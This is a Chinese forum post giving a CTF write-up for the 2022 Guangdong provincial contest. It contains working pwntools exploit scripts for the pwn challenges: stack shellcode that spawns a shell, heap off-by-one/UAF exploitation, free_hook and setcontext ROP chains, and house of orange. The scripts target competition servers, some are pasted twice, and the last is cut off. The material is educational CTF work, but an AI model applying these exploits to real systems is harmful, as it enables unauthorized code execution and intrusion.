首页
社区
课程
招聘
[原创]2022广东省赛初赛
发表于: 2022-6-15 17:51 23212

[原创]2022广东省赛初赛

2022-6-15 17:51
23212

比赛时最后一道没出,当时没看出来,也是赛后询问了R1nd0师傅才知道解法的

栈可执行,往栈上注入shellcode后跳转到栈上执行即可。

libc2.31 orw

存在off by one ,构造好overlap从而实现UAF

泄露libc后,通过environment获取栈地址,然后在栈ret处布置好rop,读出flag

另一种做法 通过freehook来调用setcontext,在freehook附近布置rop,然后栈迁移到此处执行

远程记得文件描述符改为6,本地为3

一道开了orw的2.31的堆

主要是漏洞不太好去发现且利用

图片描述
图片描述

图片描述

此处的索引有未初始化的初值,它可能是不被赋值的,如果我们能够控制,就能任意写堆地址

而backdoor和edit都有次数限制

图片描述

我们可以查看get_int函数的栈情况,因为它是add函数前调用的一个函数,这个函数可能有机会布置栈帧,从而控制add索引的初值

图片描述
发现确实有机会,atoi为字符串\x00截断,但read读了0x10字节,故可以布置一定的栈帧

再看赋值堆地址这段

对应

然而ida识别的是:

图片描述
heap=0x4060

backdoor_time=0x4014

最后的offset为 (backdoor_time-heap)/8=-10

cdqe使用eax的最高位拓展rax高32位的所有位

ida识别错误了,这里用的是*8字节作为索引来,而反汇编显示是4字节 所以还是得看汇编

最终计算得到-10这个偏移值 也就是p32(0xffffffff-9)

用于从heap 以负数做索引写到backdoor 实现backdoor的多次利用

本题没有free函数,故需用house of orange的方法,越界写topchunksize,注意需要对齐

图片描述

还有记得pre inuse位要为1,故最终fake size是0xb71

最后add一个比这个size大的chunk,就会得到一个unsortedbin

在这之后 我们有几乎无限次的edit和back的任意写机会

先打stdout leak出libc之后,不管是任意写exit(house of banana) 还是直接再leak出栈地址(通过environ)来打返回地址都能打通。

由于个人原因 这里就不贴完整exp了,贴前面到unsortedbin的

from pwn import *
#p=process('./jmp_rsp')
#gdb.attach(p,'b main')
#gdb.debug('./jmp_rsp')
p=remote('47.106.122.102',49602)
context.log_level='debug'
context.arch='amd64'
context.os='linux'
#gdb.attach(p)
jmp_rsp=0x000000000046d01d
 
shellcode=asm(shellcraft.sh())
 #0x7fffffffdde0
#0x7ffeb21fe9e8
# RBP  0x7fffffffde60
payload=b'a'*0x88+p64(jmp_rsp)
payload+=shellcode
# jmp 0x7fffffffde70
p.sendline(payload)
p.interactive()
from pwn import *
#p=process('./jmp_rsp')
#gdb.attach(p,'b main')
#gdb.debug('./jmp_rsp')
p=remote('47.106.122.102',49602)
context.log_level='debug'
context.arch='amd64'
context.os='linux'
#gdb.attach(p)
jmp_rsp=0x000000000046d01d
 
shellcode=asm(shellcraft.sh())
 #0x7fffffffdde0
#0x7ffeb21fe9e8
# RBP  0x7fffffffde60
payload=b'a'*0x88+p64(jmp_rsp)
payload+=shellcode
# jmp 0x7fffffffde70
p.sendline(payload)
p.interactive()
 
 
from pwn import *
#context.log_level = 'debug'
p = process("./orz",env = {'LD_PRELOAD':'./libc-2.31.so'})
p = remote('120.79.220.233',41764)
libc = ELF("./libc-2.31.so")
def add(size,data):
   p.recvuntil("Your choose which one?")
   p.sendline("1")
   p.recvuntil("please input note size : ")
   p.sendline(str(size))
   p.recvuntil("please input your note.")
   p.send(data)
def edit(idx,data):
   p.recvuntil("Your choose which one?")
   p.sendline("2")
   p.recvuntil("please input note index.")
   p.sendline(str(idx))
   p.recvuntil("please input new note.")
   p.send(data)
def show(idx):
   p.recvuntil("Your choose which one?")
   p.sendline("3")
   p.recvuntil("please input note index.")
   p.sendline(str(idx))
def free(idx):
   p.recvuntil("Your choose which one?")
   p.sendline("4")
   p.recvuntil("please input note index.")
   p.sendline(str(idx))
 
for i in range(7):
   add(0xb0,'a')
add(0xb0,'a')
add(0xb0,'a')
add(0x28,'a')
add(0xb0,'a')
add(0xb0,'a')
add(0xb0,'a')
for i in range(7):
   free(6-i)
 
for i in range(7):
   add(0xb0,'a')
 
show(4)
p.recvline()
heap = u64(p.recv(6)+b'\x00\x00') - 0x2B61
print(hex(heap))
for i in range(7):
   free(6-i)
edit(9, p64(heap+0x2E90)*2+b'\x00'*0x10+p64(0x30)+b'\xc0')
free(10)
for i in range(7):
   add(0xb0,'a')
show(9)
p.recvline()
libc_base = u64(p.recv(6)+b'\x00\x00') - 0x1ECBE0
print(hex(libc_base))
libc.address = libc_base
add(0xb0,'a')
free(7)
free(10)
edit(9,p64(libc.address+0x1EF600-1)+b'\n')
add(0xb0,'a')
add(0xb0,'\n')
show(10)
p.recvline()
p.recv(1)
stack = u64(p.recv(6)+b'\x00\x00') -0x120
print(hex(stack))
free(8)
free(7)
edit(9,p64(stack+0xa0)+b'\n')
 
 
 
pop_rdi = libc.address + 0x0000000000023b72
pop_rax = libc.address + 0x0000000000047400
pop_rsi = libc.address + 0x000000000002604f
pop_rdx_r12 = libc.address + 0x0000000000119241
syscall = libc.address + 0x11876B
 
 
 
payload = b''
payload += p64(pop_rax)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(heap+0x4000)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(syscall)
print(hex(len(payload)))
add(0xb0,'/home/pwn/flag\x00')
add(0xb0,payload)
 
 
 
free(11)
free(7)
edit(9,p64(stack)+b'\n')
 
 
payload = b''
payload += p64(pop_rax)
payload += p64(2)
payload += p64(pop_rdi)
payload += p64(heap+0x2Ea0)
payload += p64(pop_rsi)
payload += p64(2)
payload += p64(pop_rdx_r12)
payload += p64(2)
payload += p64(0)
payload += p64(syscall)
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(6)
payload += p64(pop_rsi)
payload += p64(heap+0x4000)
payload += p64(pop_rdx_r12)
payload += p64(0x100)
payload += p64(0)
payload += p64(syscall)
print(hex(len(payload)))
 
add(0xb0,'/home/pwn/flag\x00')
#gdb.attach(p,'b *$rebase(0x163e)')
add(0xb0,payload)
 
p.interactive()
#flag{dda5b2d3-862f-49dc-950b-f764747f2836}
from pwn import *
#context.log_level = 'debug'
p = process("./orz",env = {'LD_PRELOAD':'./libc-2.31.so'})
p = remote('120.79.220.233',41764)
libc = ELF("./libc-2.31.so")
def add(size,data):
   p.recvuntil("Your choose which one?")
   p.sendline("1")
   p.recvuntil("please input note size : ")
   p.sendline(str(size))
   p.recvuntil("please input your note.")
   p.send(data)
def edit(idx,data):
   p.recvuntil("Your choose which one?")
   p.sendline("2")
   p.recvuntil("please input note index.")
   p.sendline(str(idx))
   p.recvuntil("please input new note.")
   p.send(data)
def show(idx):
   p.recvuntil("Your choose which one?")
   p.sendline("3")
   p.recvuntil("please input note index.")
   p.sendline(str(idx))
def free(idx):
   p.recvuntil("Your choose which one?")
   p.sendline("4")
   p.recvuntil("please input note index.")
   p.sendline(str(idx))
 
for i in range(7):
   add(0xb0,'a')
add(0xb0,'a')
add(0xb0,'a')
add(0x28,'a')
add(0xb0,'a')
add(0xb0,'a')
add(0xb0,'a')
for i in range(7):
   free(6-i)
 
for i in range(7):
   add(0xb0,'a')
 
show(4)
p.recvline()
heap = u64(p.recv(6)+b'\x00\x00') - 0x2B61
print(hex(heap))
for i in range(7):
   free(6-i)
edit(9, p64(heap+0x2E90)*2+b'\x00'*0x10+p64(0x30)+b'\xc0')
free(10)
for i in range(7):
   add(0xb0,'a')
show(9)
p.recvline()
libc_base = u64(p.recv(6)+b'\x00\x00') - 0x1ECBE0
print(hex(libc_base))
libc.address = libc_base
add(0xb0,'a')
free(7)
free(10)
edit(9,p64(libc.address+0x1EF600-1)+b'\n')
add(0xb0,'a')
add(0xb0,'\n')
show(10)
p.recvline()
p.recv(1)
stack = u64(p.recv(6)+b'\x00\x00') -0x120
print(hex(stack))
free(8)
free(7)
edit(9,p64(stack+0xa0)+b'\n')
 
 
 
pop_rdi = libc.address + 0x0000000000023b72
pop_rax = libc.address + 0x0000000000047400
pop_rsi = libc.address + 0x000000000002604f
pop_rdx_r12 = libc.address + 0x0000000000119241
syscall = libc.address + 0x11876B
 
 
 
payload = b''
payload += p64(pop_rax)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(heap+0x4000)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(syscall)
print(hex(len(payload)))
add(0xb0,'/home/pwn/flag\x00')
add(0xb0,payload)
 
 
 
free(11)
free(7)
edit(9,p64(stack)+b'\n')
 
 
payload = b''
payload += p64(pop_rax)
payload += p64(2)
payload += p64(pop_rdi)
payload += p64(heap+0x2Ea0)
payload += p64(pop_rsi)
payload += p64(2)
payload += p64(pop_rdx_r12)
payload += p64(2)
payload += p64(0)
payload += p64(syscall)
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(6)
payload += p64(pop_rsi)
payload += p64(heap+0x4000)
payload += p64(pop_rdx_r12)
payload += p64(0x100)
payload += p64(0)
payload += p64(syscall)
print(hex(len(payload)))
 
add(0xb0,'/home/pwn/flag\x00')
#gdb.attach(p,'b *$rebase(0x163e)')
add(0xb0,payload)
 
p.interactive()
#flag{dda5b2d3-862f-49dc-950b-f764747f2836}
 
from pwn import *
#p=process('./orz')
p=remote('120.79.220.233',41764)
libc=ELF('./libc-2.31.so')
context.log_level='debug'
#0x28 0xb0
def add(size,content):
    p.sendlineafter('Your choose which one?\n','1')
    p.sendlineafter('please input note size : ',str(size))
    p.sendlineafter('note.\n',content)
def edit(idx,content):
    p.sendlineafter('Your choose which one?\n','2')
    p.sendlineafter('index.\n',str(idx))
    p.sendafter('note.',content)
def show(idx):
    p.sendlineafter('Your choose which one?\n','3')
    p.sendlineafter('index.\n',str(idx))
def free(idx):
    p.sendlineafter('Your choose which one?\n','4')
    p.sendlineafter('index.\n',str(idx))
 
 
heap_array=0x40E0
for i in range(8):
    add(0xb0,b'aaaa')
 
add(0x28,b'topchunk')#8
for i in range(7):
    free(i)
free(7)
add(0x28,b'a'*7)#0
 
 
 
show(0)
p.recvuntil('\x0a')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x1ecc90
free_hook=libc.sym['__free_hook']+libc_base
pop_rdi=0x0000000000023b72+libc_base
pop_rsi=0x000000000002604f+libc_base
pop_rdx_r12=0x0000000000119241+libc_base
pop_rax=0x0000000000047400+libc_base
#0x00000000001518b0:
#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
gadget=0x00000000001518b0+libc_base
rop_addr=free_hook-0x100
flag_addr=free_hook-0x120
my_flag=free_hook+0x100
setcontext=libc.sym['setcontext']+61+libc_base
syscall=0x000000000002284d+libc_base
syscall_ret=0x00000000000630d9+libc_base
ret_addr=0x00000000000beeb1+libc_base
free(0)
 
 
for i in range(7):
    add(0xb0,b'aaaa') #0-6
'''
chunk 9  0x31
chunk 10 0x31
chunk 11  0x31
chunk 8 0x31
chunk 7  0x31 
chunk 12 0x31 #topchunk
 
'''
 
add(0x28,b'aaaa')
add(0x28,b'aaaa')
add(0x28,b'aaaa')#  unsorted
add(0x28,b'aaaa')#
add(0x28,b'aaaa')#
 
add(0xb0,b'aaaa')#13
 
 
edit(9,b'\x00'*0x28+b'\xc1')
 
 
add(0xb0,b'aaaa')#14
free(14)
 
free(10)
add(0xb0,b'aaaa')#10
 
edit(10,b'\x00'*0x28+p64(0xc1)+b'\n')
free(11)
edit(10,b'\x00'*0x28+p64(0xc1)+p64(free_hook-0x120)+b'\n')
success('libc_base=>'+hex(libc_base))
success('free=>'+hex(free_hook))
success("set=>"+hex(setcontext))
 
add(0xb0,b'aaaa')#11
 
 
payload=b'/home/pwn/flag'
payload=payload.ljust(0x10,b'\x00')
payload+=p64(rop_addr)*2
#open free_hook-0x100
payload+=p64(pop_rdi)
payload+=p64(flag_addr)
payload+=p64(pop_rsi)
payload+=p64(0)
payload+=p64(pop_rax)
payload+=p64(2)
payload+=p64(syscall_ret)
#read
payload+=p64(pop_rdi)+p64(6)
payload+=p64(pop_rsi)+p64(my_flag)
payload+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
payload+=p64(pop_rax)+p64(0)
payload+=p64(syscall_ret)
#write
payload+=p64(pop_rdi)+p64(1)
payload+=p64(pop_rsi)+p64(my_flag)
payload+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
payload+=p64(pop_rax)+p64(1)
payload+=p64(syscall_ret)
 
add(0xb0,payload[:0xb0]) #14   free_hook-0x120
#free_hook-0x120+0xb0= free-0x70
 
add(0xb0,b'aaaa')#15
free(15)
free(11)
edit(10,b'\x00'*0x28+p64(0xc1)+p64(free_hook-0x120+0xb0)+b'\n')
add(0xb0,b'aaaa')#11
add(0xb0,b'aaaa')#15  free-0x70
payload2=payload[0xb0:]
payload2=payload2.ljust(0x70,b'\x00')
payload2+=p64(0)+b'\n' #free_hook
edit(15,payload2)
#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
add(0xb0,b'aaaa')#16
free(16)
free(11)
edit(10,b'\x00'*0x28+p64(0xc1)+p64(free_hook)+b'\n')
 
add(0xb0,b'aaaa')#11
add(0xb0,b'aaaa')#16 free_hook
 
payload=p64(gadget)+p64(free_hook)+p64(0)*2+p64(setcontext)
payload=payload.ljust(0xa0,b'\x00')
payload+=p64(rop_addr)+p64(ret_addr)+b'\n'
edit(16,payload)
#gdb.attach(p,'b *'+hex(syscall_ret))
free(16)
#add(0x28,b'topchunk')
p.interactive()
from pwn import *
#p=process('./orz')
p=remote('120.79.220.233',41764)
libc=ELF('./libc-2.31.so')
context.log_level='debug'
#0x28 0xb0
def add(size,content):
    p.sendlineafter('Your choose which one?\n','1')
    p.sendlineafter('please input note size : ',str(size))
    p.sendlineafter('note.\n',content)
def edit(idx,content):
    p.sendlineafter('Your choose which one?\n','2')
    p.sendlineafter('index.\n',str(idx))
    p.sendafter('note.',content)
def show(idx):
    p.sendlineafter('Your choose which one?\n','3')
    p.sendlineafter('index.\n',str(idx))
def free(idx):
    p.sendlineafter('Your choose which one?\n','4')
    p.sendlineafter('index.\n',str(idx))
 
 
heap_array=0x40E0
for i in range(8):

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 6
支持
分享
最新回复 (5)
雪    币: 886
活跃值: (2310)
能力值: ( LV4,RANK:52 )
在线值:
发帖
回帖
粉丝
2
j/ ddw
2022-6-16 21:32
0
雪    币: 2267
活跃值: (1523)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
3
tql
2022-8-22 00:33
0
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
j/ ddw
2022-10-27 12:39
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
5
请教下,orz(2.31orw)那个题目,为什么远程时候文件描述符改为6而不是3呢?
2022-11-1 22:20
0
雪    币: 473
活跃值: (690)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
mb_htwtewjt 请教下,orz(2.31orw)那个题目,为什么远程时候文件描述符改为6而不是3呢?
因为远程远程打开了别的文件好像,这个题目说明是有给的,不要在意XD
2022-11-2 18:18
0
游客
登录 | 注册 方可回帖
返回
//